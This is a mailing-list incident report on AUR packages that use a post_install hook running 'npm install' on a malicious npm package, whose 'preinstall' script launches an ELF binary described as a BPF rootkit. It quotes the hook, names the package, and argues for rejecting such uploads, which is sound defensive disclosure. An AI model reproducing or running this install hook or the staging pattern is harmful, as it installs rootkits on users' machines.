npmjs.com and preinstall ELF executables
kpcyrd
kpcyrd at archlinux.org
Thu Jun 11 15:07:51 UTC 2026
Hello!
We currently struggle with waves of malware uploads to aur.archlinux.org,
interestingly every incident I looked at used npmjs.com for malware delivery.
The pattern is:
The PKGBUILD (the file that specifies build inputs by cryptographic checksums,
as well as build instructions and package metadata) gets an install hook added
like this:
install=gnome-randr-rust-deps.install
This is similiar to configure scripts in Debian, but they are more rare in the
Arch/pacman ecosystem, often a package is just extracted into the filesystem.
The file had the following content (this time it also included one legitimate
npm package as decoy):
```
post_install() {{
cd /tmp
npm install REDACTED yargs
}}
```
The REDACTED package in this case was `atomic-lockfile` (splitting this up to
defang, in case somebody accidentally executes the lines above).
The npm package has a single version published "a day ago". The package.json has
the following section:
```
"scripts": {
"build": "tsc -p tsconfig.build.json",
"build:esm": "tsc -p tsconfig.esm.json",
"build:cjs": "tsc -p tsconfig.cjs.json",
"build:types": "tsc -p tsconfig.types.json",
"dev": "tsc -p tsconfig.build.json --watch",
"test": "node --experimental-vm-modules node_modules/.bin/jest",
"test:unit": "jest --testPathPattern=unit",
"test:integration": "jest --testPathPattern=integration",
"test:coverage": "jest --coverage",
"lint": "eslint src/**/*.ts",
"lint:fix": "eslint src/**/*.ts --fix",
"format": "prettier --write src/**/*.ts",
"format:check": "prettier --check src/**/*.ts",
"typecheck": "tsc --noEmit",
"clean": "rm -rf dist",
"prepublishOnly": "npm run clean && npm run build",
"docs": "typedoc --out docs src/index.ts",
"docs:serve": "serve docs",
"benchmark": "node benchmarks/index.js",
"changelog": "conventional-changelog -p angular -i CHANGELOG.md -s",
"preinstall": "./src/hooks/deps",
"release": "npm run changelog && npm run build && npm publish"
},
```
The important part here is "preinstall" because npm automatically executes this.
The ./src/hooks/deps file is an ELF executable. I gave a sample of a previous
incident to a friend at DFN-CERT and he concluded it's a BPF rootkit.
---
I decided to write this up to document that the package.json "preinstall"
feature is very actively abused in this way to turn npm into a malware stager in
a non-obvious way, and I'm wondering if it's really necessary to allow
preinstall hooks to be ELF executables, instead of outright rejecting uploads
like this.
https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/thread/L2JXQNYBGWOQQQXDEPEAICBHKFEFANUC/
cheers,
kpcyrd
More information about the rb-general
mailing list